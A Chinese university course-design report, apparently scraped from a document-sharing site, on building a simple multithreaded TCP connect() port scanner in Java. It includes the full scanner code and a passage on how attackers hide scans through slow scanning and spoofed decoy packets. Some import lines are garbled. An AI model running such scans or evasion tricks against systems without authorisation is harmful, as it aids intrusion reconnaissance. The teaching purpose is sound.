对目标计算机进行端口扫描,能得到许多有用的信息,进行端口扫描的方法很多,可以是手工进行扫描、也可以用端口扫描软件进行。

扫描器通过选用远程TCP/IP不同的端口的服务,并记录目标给予的回答,通过这种方法可以搜集到很多关于目标主机的各种有用的信息,例如远程系统是否支持匿名登陆、是否存在可写的FTP目录、是否开放TELNET 服务和HTTPD服务等。

2.实验所用的端口扫描技术:端口扫描技术有TCP connect()扫描、TCP SYN扫描、TCP FIN 扫描、IP段扫描等等。

本次实验所用的技术是TCP connect()扫描,这是最基本的TCP 扫描,操作系统提供的connect()系统调用可以用来与每一个感兴趣的目标计算机的端口进行连接。

如果端口处于侦听状态,那么connect()就能成功。

否则,这个端口是不能用的,即没有提供服务。

这个技术的一个最大的优点是,你不需要任何权限。

系统中的任何用户都有权利使用这个调用。

3.实验具体实现方案:编写一个端口扫描程序,能够显示某个IP或某段IP的计算机的某一个或某些端口是否正在工作。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

计算机网络课程设计论文题目:简单端口扫描程序的实现院(部)名称:计算机科学与工程学院学生姓名:专业:学号:指导教师姓名:报告提交时间:报告答辩时间:(不填)目录一、设计要求 (3)二、开发环境与工具 (3)三、设计原理 (3)四、系统功能描述及软件模块划分 (3)五、设计步骤 (5)六、关键问题及其解决方法 (5)七、设计结果 (15)八、软件使用说明 (16)九、参考资料 (16)一、设计要求本系统实现了一个简单的端口扫描器。

1. 使用端口扫描对一台主机进行扫描,一台主机上有哪些端口是打开的;2. 对一个网段进行 IP 扫描,显示出一个网段内有哪些主机是开机的。

二、开发环境与工具Windows的pc机Jdk包,:具备网络环境并连入Internet。

三、设计原理IP地址和端口被称作套接字,它代表一个TCP连接的一个连接端。

为了获得TCP服务,必须在发送机的一个端口上和接收机的一个端口上建立连接。

TCP连接用两个连接端来区别,也就是(连接端1,连接端2)。

连接端互相发送数据包。

端口扫描是在应用程序运行在 TCP 或者 UDP 协议之上工作的, 这些协议是众多应用程序使用的传输机制,端口扫描是通过扫描主机确定哪一些 TCP 和UDP 端口可以访问的过程. 端口扫描常见的几种类型: TCP Connect()扫描 SYN 扫描 NULL 扫描 ACK 扫描 Xmas-Tree Dumb 扫描。

Ping命令经常用来对TCP/IP网络进行诊断。

通过目标计算机发送一个数据包,让它将这个数据包反送回来,如果返回的数据包和发送的数据包一致,那就是说你的PING命令成功了。

通过这样对返回的数据进行分析,就能判断计算机是否开着,或者这个数据包从发送到返回需要多少时间。

Tracert命令用来跟踪一个消息从一台计算机到另一台计算机所走的路径, rusers和finger 通过这两个命令,你能收集到目标计算机上的有关用户的消息。

扫描器通过选用远程TCP/IP不同的端口的服务,并记录目标给予的回答,通过这种方法,可以搜集到很多关于目标主机的各种有用的信息。

总之,端口扫描”通常指用同一信息对目标计算机的所有所需扫描的端口进行发送,然后根据返回端口状态来分析目标计算机的端口是否打开、是否可用。

“端口扫描”行为的一个重要特征,是在短时期内有很多来自相同的信源地址,传向不同的目的、地端口的包。

对于用端口扫描进行攻击的人来说,攻击者总是可以做到在获得扫描结果的同时,使自己很难被发现或者说很难被逆向寻踪。

为了隐藏攻击,攻击者可以慢慢地进行扫描。

除非目标系统通常闲着(这样对一个没有listen()端口的数据包都会引起管理员的注意),有很大时间间隔的端口扫描是很难被识别的。

隐藏源地址的方法是发送大量的欺骗性的端口扫描数据包(如1 000个),其中只有一个是从真正的源地址来的。

这样即使全部数据包都被察觉,被记录下来,也没有人知道哪个是真正的信源地址。

能发现的仅仅是“曾经被扫描过”的地址。

也正因为这样,那些黑客们才乐此不疲地继续大量使用,这种端口扫描技术,来达到他们获取目标计算机信息,并进行恶意攻击的目的。

通常进行端口扫描的工具目前主要采用的是端口扫描软件,也称之为“端口扫描器”。

端口扫描器也是一种程序,它可以对目标主机的端口进行连接,并记录目标端口的应答。

端口扫描器通过选用远程TCP/IP协议不同的端口的服务,记录目标计算机端口给予回答的方法,可以收集到很多关于目标计算机的各种有用信息(比如是否有端口在侦听,是否允许匿名登录,是否有可写的FTP目录,是否能用Telnet等)。

虽然端口扫描器可以用于正常网络安全管理,但就目前来说,它主要还是被黑客所利用,是黑客入侵、攻击前期不可缺少的工具。

黑客一般先使用扫描工具扫描待入侵主机,掌握目标主机的端口打开情况,然后采取相应的入侵措施。

无论是正常用途,还是非法用途,端口扫描可以提供4个用途。

1.识别目标主机上有哪些端口是开放的,这是端口扫描的最基本目的。

2.识别目标系统的操作系统类型(Windows、Linux或UNIX等)。

3.识别某个应用程序或某个特定服务的版本号。

4.识别目标系统的系统漏洞,这是端口扫描的一种新功能。

当然以上这些功能不可能是一成不变的,随着技术的不断完善,新的功能会不断地增加。

端口扫描器并不是一个直接攻击网络漏洞的程序,它仅仅能帮助发现目标计算机的某些内在的弱点。

一个好的扫描器还能对它得到的数据进行分析,帮助查找目标计算机的漏洞。

但它不会提供一个系统的详细步骤。

编写扫描器程序必须要很多TCP/IP协议程序,以及C、Perl和SHELL语言的知识,还需要一些Socket编程的背景。

四、系统功能描述及软件模块划分主要功能有:1. 使用端口扫描对一台主机进行扫描,一台主机上有哪些端口是打开的;2. 对一个网段进行 IP 扫描,显示出一个网段内有哪些主机是开机的。

软件所包含的主要模块有:1.对IP的处理。

包括对IP的移位和运算等。

2.对本机个端口的扫描。

3.对本网段的其他主机个端口的扫描。

五、设计步骤六、关键问题及其解决方法完整的代码如下:import java.io.*;import .*;import java.util.*;import ng.*;import ng.String.*;import ng.Integer.*;import java.awt.*;public class ScanPort2{public static void main(String args[]){System.out.println();System.out.println(" *********自定义多IP多TCP端口扫描程序*******");System.out.println(" *******按Ctrl+c退出扫描*******");String shubeginip="",shuendip="";String sp1="",sp2="",sp3="";int beginport,endport;int maxThread=0;// 异常判断变量int bport=0,eport=0;boolean bool = false;boolean bool1 = false;boolean bool2 = false;boolean bool3 = false;boolean bool4 = false;long xxx=0,xxx2=0;//由用户输入扫描范围//读取输入开始ipSystem.out.println();System.out.println("请输入起始ip:");while(!bool){try{BufferedReader in1=new BufferedReader(new InputStreamReader(System.in));shubeginip=in1.readLine();xxx=Com.ipj(shubeginip);if(xxx==0){bool=false;System.out.println("IP格式错误,请输入正确的起始ip:");}elseif(xxx<=Com.ipj("1.0.0.0")){bool=false;System.out.println("IP范围错误,请输入正确的起始ip:");}elsebool=true;}catch(IOException e){System.out.println("IP格式错误,请输入正确的起始ip:");}catch(NumberFormatException e){System.out.println("IP 格式错误,请输入正确的起始ip:");}catch(StringIndexOutOfBoundsExceptione){System.out.println("IP格式错误,请输入正确的开始ip:");}catch(NullPointerException e){System.out.print("退出程序!");}}//读取输入结束ipSystem.out.println();System.out.println("请输入结束ip:");while(!bool1){try{BufferedReader in2=new BufferedReader(new InputStreamReader(System.in));shuendip=in2.readLine();xxx2=Com.ipj(shuendip);if(xxx2==0){bool1=false; System.out.println("IP格式错误,请输入正确的结束ip:");}elseif(Math.abs(xxx2-xxx)>5155130){bool1=false;System.out.println("扫描IP数不能大于5155130,请输入正确的结束ip:");}elsebool1=true;}catch(IOException e){System.out.println("IP格式错误,请输入正确的结束ip:");}catch(NumberFormatException e){System.out.println("IP格式错误,请输入正确的结束ip:");}catch(StringIndexOutOfBoundsExceptione){System.out.println("IP格式错误,请输入正确的结束ip:");}catch(NullPointerException e){System.out.print("退出程序!");}}//读取输入起始端口System.out.println();System.out.println("请输入起始端口:");while(!bool2){try{BufferedReader in3=new BufferedReader(new InputStreamReader(System.in));sp1=in3.readLine();bport=Integer.parseInt(sp1);if(bport<0|bport>65535){System.out.println("端口错误,请输入正确的起始端口:");bool2=false;}elsebool2=true;}catch(IOException e){System.out.println("端口错误,请输入正确的起始端口:");}catch(NumberFormatException e){System.out.println("端口错误,请输入正确的起始端口:");}}beginport=Integer.parseInt(sp1);//读取输入结束端口System.out.println();System.out.println("请输入结束端口:");while(!bool3){try{BufferedReader in4=new BufferedReader(new InputStreamReader(System.in));sp2=in4.readLine();eport=Integer.parseInt(sp2);if(eport<beginport|eport>65535){System.out.println("端口错误,请输入正确的结束端口:");bool3=false;}elsebool3=true;}catch(IOException e){System.out.println("端口错误,请输入正确的结束端口:");}catch(NumberFormatException e){System.out.println("端口错误,请输入正确的起始端口:");}}endport=Integer.parseInt(sp2);//读取输入最大线程数System.out.println();System.out.println("请输入最大线程(1-300):");while(!bool4){try{BufferedReader in5=new BufferedReader(new InputStreamReader(System.in));sp3=in5.readLine();maxThread=Integer.parseInt(sp3);if(maxThread>300|maxThread<1){System.out.println("请输入1-300之间的整数:");bool4=false;}elsebool4=true;}catch(IOException e){System.out.print("退出程序!");} catch(NumberFormatException e){System.out.println("请输入1-300之间的整数");}catch(NullPointerException e){System.out.print("退出程序!");}}maxThread=Integer.parseInt(sp3);//开始扫描System.out.println("正在处理IP地址……");long long_beginip=Com.ipj(shubeginip);//转换iplong long_endip=Com.ipj(shuendip);int allport=endport-beginport+1;//计算扫描端口总数int allip=(int)Math.abs(long_beginip - long_endip) + 1; int t1=0,t2=0; //计算耗时long begint,endt,alltime;Date mydate=new Date();begint=mydate.getTime(); //获取当前时间try{//计算两个ip值之间的所有iplong[] ipduan=new long[(int)Math.abs(long_beginip - long_endip) + 1];for(int k=0;k<=Math.abs(long_beginip - long_endip);k++){if (long_beginip-long_endip < 0)ipduan[k]=long_beginip+k;elseipduan[k]=long_endip+k;}String[] ips1=new String[ipduan.length];System.out.println("正在扫描……");for(int a=0;a<=ipduan.length;a++){ips1[a]=Com.ipk(ipduan[a]);if(ips1[a]!=null){System.out.println("正在扫描:"+ips1[a]);for(intxPort=beginport;xPort<=endport;xPort++ ){int x=quanjubianliang.Threadnum;if(x>maxThread){try{Thread.sleep(100);}catch(InterruptedException e){}}String threadName="thread"+xPort;if(xPort!=21)newScanThread(ips1[a],xPort,threadName).start();}}elseallip=allip-1;}}catch(Exception exp){System.out.println();}Date mydate2=new Date(); //获取结束时间try{Thread.sleep(1000);}catch(InterruptedException e){}System.out.println("扫描完成!");endt=mydate2.getTime();alltime=endt-begint;System.out.print("扫描了"+allip+"个IP共"+allip*allport+"个端口,用时"+alltime+"毫秒");}}//全局变量,用做限制最大线程class quanjubianliang{public static int Threadnum=0;}//扫描线程class ScanThread extends Thread{private String ghost;private int scanP;public ScanThread(String h,int mPort,String threadName) {ghost=h;scanP=mPort;}public void run(){quanjubianliang.Threadnum=quanjubianliang.Threadnum+1;try{SocketAddress sockaddr = new InetSocketAddress(ghost,scanP);Socket scans=new Socket();int timeoutMs=50;scans.connect(sockaddr, timeoutMs);scans.close();System.out.println("主机:"+ghost+" TCP端口:"+scanP+" 在线");}catch(SocketTimeoutException e){}catch(IOException e){}quanjubianliang.Threadnum=quanjubianliang.Threadnum-1;}}//ip处理class Com{//将字符串ip转换成长整型public static long ipj(String ipAddress){long[] ip=new long[4];int position1=ipAddress.indexOf(".");int position2=ipAddress.indexOf(".",position1+1); int position3=ipAddress.indexOf(".",position2+1);ip[0]=Long.parseLong(ipAddress.substring(0,position1));ip[1]=Long.parseLong(ipAddress.substring(position1+1,position2)); ip[2]=Long.parseLong(ipAddress.substring(position2+1,position3)); ip[3]=Long.parseLong(ipAddress.substring(position3+1));if(ip[0]==0|ip[3]==0|ip[0]>255|ip[1]>255|ip[2]>255|ip[3]>255)return 0;elsereturn(ip[0]<<24)+(ip[1]<<16)+(ip[2]<<8)+ip[3];}//将长整型ip转换为字符串型public static String ipk(long longIP){StringBuffer sb=new StringBuffer("");//直接右移24位sb.append(String.valueOf(longIP>>>24));sb.append(".");//将高8位置0,然后右移16位sb.append(String.valueOf((longIP&0x00FFFFFF)>>>16));sb.append(".");sb.append(String.valueOf((longIP&0x0000FFFF)>>>8)); sb.append(".");sb.append(String.valueOf(longIP&0x000000FF));String sc=sb.toString();String[] ss = sc.split("\\.");if(Integer.parseInt(ss[3])==0)return null;elsereturn sb.toString();}} 七、设计结果八、软件使用说明运行程序,跟据程序内容的题示输入起始IP,结束IP,端口号,线程等参数,最后程序返回扫描的结果。

相关文档
最新文档